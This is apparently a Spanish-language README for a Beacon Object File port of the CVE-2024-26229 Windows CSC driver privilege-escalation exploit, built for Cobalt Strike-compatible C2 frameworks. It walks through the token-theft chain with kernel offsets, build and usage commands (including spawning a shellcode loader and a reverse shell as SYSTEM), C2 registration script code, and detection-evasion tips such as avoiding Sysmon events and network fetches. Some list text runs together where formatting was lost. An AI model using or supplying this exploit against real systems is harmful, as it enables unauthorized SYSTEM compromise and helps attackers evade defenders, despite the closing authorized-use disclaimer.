
CVE-2024-26229 Beacon Object File versión
Implementación en Beacon Object File de CVE-2024-26229 — escalada de privilegios local del controlador CSC de Windows mediante robo de token DKOM.
Basado en RalfHacker/CVE-2024-26229-exploit, convertido a BOF con resolución dinámica de funciones (DFR) para usar con frameworks C2 que soporten la API BOF de Cobalt Strike.
\Device\Mup\;Csc\.\. mediante NtCreateFile para obtener un manejador del controlador CSC0x001401a3 (CSC_DEV_FCB_XXX_CONTROL_FILE) con un búfer de entrada manipulado que apunta a KTHREAD->PreviousMode - 0x18, corrompiendo PreviousMode de UserMode a KernelModePreviousMode = KernelMode, NtWriteVirtualMemory puede escribir en direcciones arbitrarias del kernelEPROCESS->Token del proceso SYSTEM (PID 4) sobre el token del proceso actual (DKOM)PreviousMode a UserModeCreateProcessA — el hijo hereda el token de SYSTEMEl propio proceso beacon se convierte en SYSTEM después del paso 4. El proceso generado es opcional — si CreateProcessA falla, el beacon sigue elevado.
HKLM\SYSTEM\CurrentControlSet\Services\CSC → Start = 1)| Offset | Valor | Estructura |
|---|---|---|
EPROCESS->Token | 0x4B8 | Windows 10 19041–19045 / Server 2019 17763 |
KTHREAD->PreviousMode | 0x232 | Windows 10 19041–19045 / Server 2019 17763 |
Estos desplazamientos son específicos de la versión. Si se orienta a una compilación diferente, verifique con WinDbg:
dt nt!_EPROCESS Token
dt nt!_KTHREAD PreviousMode
Requiere mingw-w64 y un archivo de cabecera beacon.h compatible con su framework C2.
x86_64-w64-mingw32-gcc -c -o cve-2024-26229.x64.o cve-2024-26229.c
Coloque el .o compilado en su directorio de BOF (p. ej., _bin/cve-2024-26229.x64.o).
cve-2024-26229 --path <ruta_exe> [--args "<argumentos_exe>"]
Generar un loader con shellcode local:
cve-2024-26229 --path C:\Users\user\loader.exe --args "--munition-local C:\Users\user\payload.bin"
Generar una reverse shell:
cve-2024-26229 --path C:\Windows\System32\cmd.exe --args "/c C:\Users\user\shell.exe"
Ejecutar sin argumentos:
cve-2024-26229 --path C:\Users\user\beacon.exe
[+] System EPROCESS = 0xffff9383f3a62040
[+] Current KTHREAD = 0xffff9383fa4df080
[+] Current EPROCESS = 0xffff9383fa9b3080
[!] DKOM: overwriting EPROCESS->Token
[+] Token replaced -- beacon process is now SYSTEM
[+] Spawned PID 2044 as SYSTEM: C:\Users\user\loader.exe --munition-local C:\Users\user\payload.bin
Registre el BOF en su script de extensión .axs:
var cmd_cve26229 = ax.create_command(
"cve-2024-26229",
"CVE-2024-26229 CSC driver LPE -- DKOM token theft to SYSTEM",
"cve-2024-26229 --path C:\\loader.exe --args \"--munition-local C:\\payload.bin\""
);
cmd_cve26229.addArgFlagString("--path", "path", "Path to executable to run as SYSTEM", "");
cmd_cve26229.addArgFlagString("--args", "args", "Arguments for the executable", "");
cmd_cve26229.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
let path = parsed_json["path"];
let args = parsed_json["args"];
if (!path) {
ax.task_output(id, "Error: --path is required");
return;
}
let bof_params = ax.bof_pack("cstr,cstr", [path, args]);
let bof_path = ax.script_dir() + "_bin/cve-2024-26229." + ax.arch(id) + ".o";
ax.execute_alias(id, cmdline, `execute bof "${bof_path}" ${bof_params}`, "Task: CVE-2024-26229 LPE");
});
El empaquetado de argumentos es cstr,cstr — dos cadenas terminadas en nulo que coinciden con las dos llamadas BeaconDataExtract en el BOF.
PreviousMode corrompido. No se escriben archivos, no se crean servicios, no se modifican registros.--munition-local) en lugar de obtenerlo por HTTP para evitar detecciones basadas en red.CreateProcessA con CREATE_NO_WINDOW. El proceso generado hereda el token de SYSTEM. Si su loader inyecta en otro proceso (p. ej., svchost.exe), el loader en disco puede eliminarse después.NtCreateFile a \Device\Mup\;Csc\.\. y el IOCTL no suelen registrarse en las configuraciones predeterminadas de Sysmon. La llamada CreateProcessA generará un evento estándar de Creación de Proceso (Event ID 1) — asegúrese de que el binario generado no esté firmado.PreviousMode a UserMode después de la copia del token. El proceso beacon continúa funcionando normalmente después de la explotación.EPROCESS->Token (0x4B8) y KTHREAD->PreviousMode (0x232) son válidos para Windows 10 19041–19045 y Server 2019 17763. Otras compilaciones pueden requerir ajustes.sc query csc o en el registro HKLM\SYSTEM\CurrentControlSet\Services\CSC (Start = 1). El controlador está habilitado por defecto en estaciones de trabajo, pero puede estar deshabilitado en servidores.Esta herramienta está destinada únicamente a pruebas de penetración autorizadas e investigación de seguridad.
El uso de esta herramienta contra sistemas que no posee o para los cuales no tiene permiso explícito por escrito es ilegal según la ley vietnamita, incluyendo, entre otras:
Esta herramienta se proporciona solo con fines educativos. El autor no asume ninguna responsabilidad por su mal uso. Usted es el único responsable de asegurar que su uso cumple con todas las leyes locales, nacionales e internacionales aplicables.
Al usar esta herramienta, confirma que ha obtenido la autorización adecuada del propietario del sistema antes de cualquier actividad de prueba.